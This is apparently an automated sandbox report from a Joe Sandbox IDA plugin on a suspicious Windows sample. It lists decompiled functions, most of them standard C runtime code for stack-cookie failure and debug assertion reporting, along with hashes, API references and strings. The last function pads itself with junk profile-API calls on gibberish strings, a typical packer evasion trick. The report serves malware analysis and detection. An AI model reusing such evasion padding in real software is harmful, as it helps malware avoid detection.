Instruction ID: 1d1bef1709e1130aac2357ce640f796b5e4ed1d806b41256750c76eaf4f9ddaf
Opcode Fuzzy Hash: 09ed30b492f97a830ad82e8e25b5002e705cd0b55e82cb27f6da18c5fdb189e4
Instruction Fuzzy Hash: 59311876402568BFD7119BE4DE489DFBFBCEF0A351B104026F645E2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BAA0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BAA0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0xd19bb892
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x54b520 = _t6;
				 *0x54b51c = _t20;
				 *0x54b518 = _t22;
				 *0x54b514 = _t19;
				 *0x54b510 = _t25;
				 *0x54b50c = _t24;
				 *0x54b538 = ss;
				 *0x54b52c = cs;
				 *0x54b508 = ds;
				 *0x54b504 = es;
				 *0x54b500 = fs;
				 *0x54b4fc = gs;
				asm("pushfd");
				_pop( *0x54b530);
				 *0x54b524 =  *_t29;
				 *0x54b528 = _v0;
				 *0x54b534 =  &_a4;
				 *0x54b470 = 0x10001;
				 *0x54b424 =  *0x54b528;
				 *0x54b418 = 0xc0000409;
				 *0x54b41c = 1;
				_t21 =  *0x440354; // 0xd19bb892
				_v812 = _t21;
				_t23 =  *0x440358; // 0x2e64476d
				_v808 = _t23;
				 *0x54b468 = IsDebuggerPresent();
				_push(1);
				E004297E0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x408078);
				if( *0x54b468 == 0) {
					_push(1);
					E004297E0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042baa0
0x0042baa0
0x0042baa0
0x0042baa0
0x0042baa0
0x0042baa0
0x0042baa0
0x0042baa6
0x0042baa8
0x0042baa8
0x00435f5b
0x00435f60
0x00435f66
0x00435f6c
0x00435f72
0x00435f78
0x00435f7e
0x00435f85
0x00435f8c
0x00435f93
0x00435f9a
0x00435fa1
0x00435fa8
0x00435fa9
0x00435fb2
0x00435fba
0x00435fc2
0x00435fcd
0x00435fdc
0x00435fe1
0x00435feb
0x00435ff5
0x00435ffb
0x00436001
0x00436007
0x00436013
0x00436018
0x0043601a
0x00436024
0x0043602f
0x0043603c
0x0043603e
0x00436040
0x00436045
0x0043605d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043600D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436024
UnhandledExceptionFilter.KERNEL32(00408078), ref: 0043602F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043604D
TerminateProcess.KERNEL32(00000000), ref: 00436054

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: d33d6eec9ec0402152c8a8e0e3891087fa48fcae2f688fcf5cadc28b83c95f56
Instruction ID: 98692f7e16af25252e47c74e5868c04d64a494b3b305a9ea9c78ed6366d0d241
Opcode Fuzzy Hash: d33d6eec9ec0402152c8a8e0e3891087fa48fcae2f688fcf5cadc28b83c95f56
Instruction Fuzzy Hash: 9A21E2BC801204DFEB04DF64F9446D4BBB4BB2A318F10516AE90893332F7748689EF89

Uniqueness

Uniqueness Score: -1.00%

Function 00428310, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00428310() {

				SetUnhandledExceptionFilter(E004282A0);
				return 0;
			}

0x0042831a
0x00428323

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000282A0), ref: 0042831A

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1c6ddfa322a5c136697170ae69fb6fa36322576f0fef2110473d3c5aac8de73a
Instruction ID: ba5ae9e6d70bcd08083bb68b4c1832f13faa612fa2ab517c89731ac212caed2a
Opcode Fuzzy Hash: 1c6ddfa322a5c136697170ae69fb6fa36322576f0fef2110473d3c5aac8de73a
Instruction Fuzzy Hash: C6B01231244208A7570017F27C0DC073A8CC9C97303E100A5F00CD1020DC61A4004069

Uniqueness

Uniqueness Score: -1.00%

Function 005731FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282966765.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_570000_ZA3cYU28Yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adde1d8ed614f1b4627ac8248198af32a96e582f141dfd9e05361ae7fa8ad012
Instruction ID: aca5944d5d441d4cbd35feb137c256fdd717ca94dd01e6a709b5dd3cdc084a46
Opcode Fuzzy Hash: adde1d8ed614f1b4627ac8248198af32a96e582f141dfd9e05361ae7fa8ad012
Instruction Fuzzy Hash: 1631A02955485D9ECF2D47B0E44A1D1BFA0EF5A304B690DCACB919FC57C9306443D693

Uniqueness

Uniqueness Score: -1.00%

Function 00573253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282966765.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_570000_ZA3cYU28Yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 53a40bf5046d6280c6b5ddb6d77b2d38a3a41d98a8c8cb533e49fdb9561db3ea
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: CD31BC2991085D9FCB2C4775A058191BB90EF5E304FB60DCACB90AFC47CA306843E293

Uniqueness

Uniqueness Score: -1.00%

Function 00570042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282966765.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_570000_ZA3cYU28Yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 19a82ced36c4c353d2cf9c5cfade64825d3ae34f394905e62db03716d5c7414b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: D1117C72340100EFEB54DE65EC99FA677EAFB88330B698165E908CB352D676EC01D760

Uniqueness

Uniqueness Score: -1.00%

Function 0042C12E, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C12E(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422AF0(_t210));
						 *(L00422AF0( *(L00422AF0(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00435F20(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041D6D0( *((intOrPtr*)(L00422AF0(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422AF0(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041DC40(E0041D7C0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041DC40(E0041D7C0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041DC40(E00431F10(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041DC40(E00431F10(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041DC40(E00431F10(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041DC40(E0041D7C0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422AF0(_t210));
						 *(L00422AF0(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BA70( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041D6D0( *(L00422AF0(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422AF0(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041DC40(E0041D7C0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E004369E0(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041D6D0( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041DC40(E0042D970(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041DFA0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x54b818;
						 *(_t263 - 0x5050) =  *0x54b818;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C6C5();
							goto L44;
						}
						_t240 =  *0x54b814;
						 *(_t263 - 0x504c) =  *0x54b814;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x54b810 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x54b810( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DAA0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041DC40(E00436A10(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L004293D0(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042C82F();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BAA0(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041DC40(E00436A10(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C030(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c12e
0x0042c13b
0x0042c1e8
0x0042c1ee
0x0042c1ff
0x0042c20a
0x0042c222
0x0042c229
0x0042c22e
0x0042c231
0x0042c23e
0x0042c262
0x0042c267
0x0042c267
0x0042c26a
0x0042c26f
0x0042c275
0x0042c27e
0x0042c2b0
0x0042c2b5
0x0042c2b5
0x0042c27e
0x0042c2bc
0x0042c2c2
0x0042c2d0
0x0042c2c4
0x0042c2c4
0x0042c2c4
0x0042c2fc
0x0042c30c
0x0042c311
0x0042c311
0x0042c346
0x0042c34b
0x0042c352
0x0042c354
0x0042c361
0x0042c393
0x0042c398
0x0042c398
0x0042c3bb
0x0042c3cb
0x0042c3d0
0x0042c3d0
0x0042c3d7
0x0042c4e7
0x0042c4ec
0x0042c3dd
0x0042c3dd
0x0042c3ee
0x0042c3f9
0x0042c405
0x0042c406
0x0042c409
0x0042c424
0x0042c429
0x0042c42c
0x0042c439
0x0042c45d
0x0042c462
0x0042c462
0x0042c470
0x0042c479
0x0042c4ab
0x0042c4b0
0x0042c4b0
0x0042c4b3
0x0042c4ef
0x0042c4f9
0x0042c518
0x0042c527
0x0042c54e
0x0042c553
0x0042c55d
0x0042c58f
0x0042c594
0x0042c594
0x0042c59e
0x0042c5ad
0x0042c5b7
0x0042c5c3
0x0042c5c8
0x0042c5cb
0x0042c5d2
0x0042c5d8
0x0042c5ef
0x0042c5f8
0x0042c614
0x0042c61d
0x0042c61f
0x0042c624
0x0042c5e9
0x00000000
0x0042c5e9
0x0042c626
0x0042c636
0x00000000
0x0042c636
0x0042c647
0x0042c6b7
0x0042c6b7
0x0042c6be
0x00000000
0x0042c6be
0x0042c649
0x0042c64f
0x0042c666
0x0042c66f
0x0042c68b
0x0042c694
0x0042c696
0x0042c69b
0x0042c660
0x00000000
0x0042c660
0x0042c69d
0x0042c6ad
0x00000000
0x0042c6ad
0x00000000
0x0042c6d0
0x0042c6d0
0x0042c6d7
0x0042c6e4
0x0042c6e6
0x0042c6f0
0x0042c702
0x0042c708
0x0042c70d
0x0042c70f
0x0042c719
0x0042c71f
0x0042c71f
0x0042c70d
0x0042c72c
0x0042c73f
0x0042c75e
0x0042c763
0x0042c779
0x0042c779
0x0042c78c
0x0042c795
0x0042c795
0x0042c79b
0x0042c7a8
0x0042c7aa
0x0042c7b5
0x0042c7e8
0x0042c7ed
0x0042c7ed
0x0042c800
0x0042c80f
0x0042c81b
0x0042c81b
0x0042c7a8
0x0042c72c
0x0042c821
0x0042c821
0x0042c828
0x0042c841
0x0042c84a
0x0042c852
0x0042c853
0x0042c854
0x0042c862
0x0042c862
0x0042c59e
0x0042c172
0x0042c17f
0x0042c189
0x0042c196
0x0042c18b
0x0042c18e
0x0042c18e
0x0042c1a0
0x0042c1a7
0x0042c1b2
0x0042c1bf
0x0042c1ca
0x0042c1d0
0x0042c1d5
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C133
__invoke_watson_if_error.LIBCMTD ref: 0042C172
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C17F
OutputDebugStringA.KERNEL32(004061A4), ref: 0042C1A7
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C1B2
OutputDebugStringA.KERNEL32(?), ref: 0042C1BF
OutputDebugStringA.KERNEL32(00406198), ref: 0042C1CA
_wcscat_s.LIBCMTD ref: 0042C38A

Part of subcall function 00431F10: __invalid_parameter.LIBCMTD ref: 00431F82

__invoke_watson_if_error.LIBCMTD ref: 0042C393

Part of subcall function 0041DC40: __invoke_watson.LIBCMTD ref: 0041DC61

_wcscat_s.LIBCMTD ref: 0042C3C2

Part of subcall function 00431F10: _memset.LIBCMT ref: 00431FEB
Part of subcall function 00431F10: __invalid_parameter.LIBCMTD ref: 00432047

__invoke_watson_if_error.LIBCMTD ref: 0042C3CB
__snwprintf_s.LIBCMTD ref: 0042C424

Part of subcall function 0042BA70: __vsnprintf_s_l.LIBCMTD ref: 0042BA92

__invoke_watson_if_oneof.LIBCMTD ref: 0042C45D
_wcscpy_s.LIBCMTD ref: 0042C4A2
__invoke_watson_if_error.LIBCMTD ref: 0042C4AB
__cftoe.LIBCMTD ref: 0042C51F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C54E
_wcscpy_s.LIBCMTD ref: 0042C586
__invoke_watson_if_error.LIBCMTD ref: 0042C58F
__itow_s.LIBCMTD ref: 0042C169

Part of subcall function 00436A10: _xtow_s@20.LIBCMTD ref: 00436A3B

__strftime_l.LIBCMTD ref: 0042C229
__invoke_watson_if_oneof.LIBCMTD ref: 0042C262
_wcscpy_s.LIBCMTD ref: 0042C2A7
__invoke_watson_if_error.LIBCMTD ref: 0042C2B0
_wcscpy_s.LIBCMTD ref: 0042C303
__invoke_watson_if_error.LIBCMTD ref: 0042C30C
_wcscat_s.LIBCMTD ref: 0042C33D
__invoke_watson_if_error.LIBCMTD ref: 0042C346

Strings

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C291
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C48C
Assertion failed: , xrefs: 0042C2C4
Assertion failed!, xrefs: 0042C2D0
_VCrtDbgReportA, xrefs: 0042C14D, 0042C24C, 0042C28C, 0042C2E6, 0042C320, 0042C36F, 0042C3A7, 0042C447, 0042C487, 0042C539, 0042C56B, 0042C7C3
(*_errno()), xrefs: 0042C251, 0042C44C
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C53E
%s(%d) : %s, xrefs: 0042C40E
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C374
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C148, 0042C247, 0042C287, 0042C2E1, 0042C31B, 0042C36A, 0042C3A2, 0042C442, 0042C482, 0042C534, 0042C566, 0042C7BE
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C2EB
t9j, xrefs: 0042C7B5
, Line , xrefs: 0042C1AD
Second Chance Assertion Failed: File , xrefs: 0042C17A
t8j, xrefs: 0042C55D
_CrtDbgReport: String too long or IO Error, xrefs: 0042C296, 0042C491
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C575
<file unknown>, xrefs: 0042C196
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C152, 0042C7C8
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C570
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C3AC
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C325

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 8fe51fa25648973e2e39ba0b0ffe1d03d6f6e2c3969fdd2e27584cb0bfa39ff9
Instruction ID: e78167f26c0d7987ebaf43305909110d5c27a38aba3851f3b00a1b414ed2484e
Opcode Fuzzy Hash: 8fe51fa25648973e2e39ba0b0ffe1d03d6f6e2c3969fdd2e27584cb0bfa39ff9
Instruction Fuzzy Hash: F20293B0E40724ABEB20EF54DC4ABDF7374AB14705F5041AAF5097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419918, Relevance: 36.8, APIs: 13, Strings: 8, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 0041992E
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419941
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 0041995F
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419969
GetProfileStringW.KERNEL32(jikatopoxolumuho,nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb,zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 0041998D
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 004199A8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 004199B7
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 004199C8
